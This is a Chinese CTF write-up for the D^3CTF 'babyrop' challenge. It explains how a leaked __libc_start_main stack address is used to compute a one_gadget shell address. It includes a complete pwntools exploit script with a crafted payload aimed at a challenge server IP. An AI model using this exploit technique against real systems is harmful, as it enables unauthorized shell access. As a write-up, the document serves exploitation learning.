D^3CTF babyrop 经验总结 PWN

思路：
调试时发现在栈中有一个libc_start_main的地址

文章图片

可以根据这个地址算出距one_gadget 的偏移

文章图片

得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址，之后再用这个地址覆盖ret即可getshell，需要注意的是要满足one_gadget的约束条件，我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数：
使栈中的数据相加

文章图片

调整 “栈指针”, 使"栈指针"想上移动

文章图片

向栈中写入零

文章图片

还需要注意的是检查的数据的类型是无符号数，在多次调用0x28指令后
前三个入栈的指令都无法执行，所以要通过其它指令来达到写零与覆写ret的目的

文章图片

【D^3CTF babyrop 经验总结】EXP：

from pwn import *context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) context.log_level='debug' debug = 1 d = 1execve = "./babyrop" if debug == 1: p = process(execve) if d == 1: gdb.attach(p) else: p = remote("106.54.67.184", 15924)#0x28 -> *(_DWORD*)(a3 + 16) = 0 #0x42 -> *a1 - 8 #0x34 -> *a1 - 8, copy stack datapayload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34' p.sendline(payload)''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''raw_input()p.interactive()

复现结果：

文章图片

D^3CTF babyrop 经验总结

推荐阅读

灭蚊灯放在离人近还是远的地方

南宋诗人翁卷,名字里的卷字到底读juǎn还是juàn？

什么是光波的波长

excel怎么排序excel排序方法

广东徐闻菠萝好吃吗

老人保健品要巧用老人保健品要巧用吗

大洋洲之最都有哪些大洋洲世界之最

镁元素在植物中起着什么作用

subverse博士战棋关卡怎么打 subverse博士战棋关卡打法

电脑版小说阅读器哪个好十大pc看书软件排行榜

冰箱灯坏了怎么换？详细步骤及注意事项

我是一个小学生,想问下steam上有没有一些免费好玩的游戏,或者价格低的？

手术工具清洗视频直播，手术工具怎么清洗

手工荞麦面怎么做不断

如何给老年人送礼

火狐浏览器如何阻止弹窗

请假条由哪五个部分组成

宫本武藏厉害还是赵云厉害宫本武藏打的过赵云吗

Android: 触屏fling/scroll/drag的区别及其详细过程

激光笔的危害